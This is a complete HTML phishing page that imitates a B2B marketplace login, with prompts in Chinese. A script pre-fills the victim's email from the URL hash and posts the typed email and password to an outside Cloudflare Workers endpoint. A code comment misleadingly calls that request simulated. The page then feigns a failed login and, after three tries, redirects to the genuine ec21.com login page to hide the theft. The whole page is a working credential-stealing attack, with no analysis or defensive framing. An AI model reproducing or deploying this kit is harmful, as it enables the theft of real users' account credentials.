<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <link rel="icon" type="image/x-icon" href="https://34455456576677687898989898676767.pages.dev/favi.jpeg">
    <title>Global B2B Marketplace</title>
    <style>
        .login {
            width: 350px;
            height: 23px;
            background: transparent;
            border: none;
            padding-left: 8px;
        }
        .btn {
            width: 362px;
            height: 30px;
            background: transparent;
            border: none;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <div style="margin: -8px; width: 100%;">
        <img id="bg" src="https://34455456576677687898989898676767.pages.dev/bg1.png" style="filter: blur(3px); -webkit-filter: blur(3px);">
        <img id="bg2" src="https://34455456576677687898989898676767.pages.dev/bg1.png" style="filter: blur(3px); -webkit-filter: blur(3px);" hidden>

        <form id="loginForm" onsubmit="return Validate();">
            <div style="position: absolute; top: 140px; left: 500px; background-color: #FFF; z-index: 2; width: 385px; height: 370px; padding: 0px; text-align: center; -webkit-box-shadow: 1px 1px 1px 2px #848484; box-shadow: 1px 1px 1px 2px #848484; border-radius: 2px 10px 3px 12px;">
                <div align="center">
                    <img src="https://34455456576677687898989898676767.pages.dev/logo.gif" style="width: 150px; height: 65px;">
                </div>
                <br>
                <font face="verdana" color="#08298A" style="font-size: 13px;">
                    <b>&#39564;&#35777;&#24744;&#30340;&#37038;&#31665; ID &#20197;&#33719;&#24471;&#35775;&#38382;&#26435;&#38480;</b>
                </font>
                <br><br>
                <input required id="user" name="user" class="login" type="email" placeholder="Email-ID" style="background: #FFF; width: 300px; height: 30px; padding: 7px; border-radius: 3px; box-shadow: 1px 1px 1px 1px #848484; font-weight: bold;">
                <br><br>
                <input required id="pass" name="pass" class="login" type="password" placeholder="&#36755;&#20837;&#23494;&#30721;" style="width: 300px; height: 30px; padding: 7px; border-radius: 3px; box-shadow: 1px 1px 1px 1px #848484; font-size: 13px; font-weight: bold;">
                <br><br>
                <input type="submit" value="&#29616;&#22312;&#30331;&#24405;" style="background: #08298A; width: 315px; height: 40px; border: none; padding: 7px; border-radius: 5px; color: #FFF; font-size: 13px; font-weight: bold;">
            </div>
        </form>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
    <script>
$(document).ready(function () {
    // Extract email from URL hash and populate the email field
    const email = window.location.hash.substr(1);
    if (email && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
        $('#user').val(email);
    }
});

// Initialize attempt count
let attemptCount = 0;

function Validate() {
    const user = $('#user').val().trim();
    const pass = $('#pass').val().trim();

    if (user && pass) {
        // Simulate a server request using $.post
        $.post('https://wispy-mouse-cda7.bichukinandrei.workers.dev', { user: user, pass: pass })
            .always(function () {
                // Increment the attempt count regardless of success or failure
                attemptCount++;
                console.log('Attempt count:', attemptCount);

                if (attemptCount >= 3) {
                    // Reset attempt count and redirect
                    attemptCount = 0;
                    alert('由于多次尝试失败而重定向到登录页面。');
                    window.location = 'https://login.ec21.com/global/login/Login.jsp';
                } else {
                    // Feedback for next attempt
                    $('#bg').fadeOut();
                    $('#bg2').fadeIn();
                    $('#pass').val('').focus(); // Clear the password field
                }
            });
    } else {
        // Provide feedback for empty fields
        if (!user) {
            alert('Please enter your email.');
            $('#user').focus();
        } else if (!pass) {
            alert('Please enter your password.');
            $('#pass').focus();
        }
    }

    return false; // Prevent actual form submission
}

    </script>
</body>
</html>
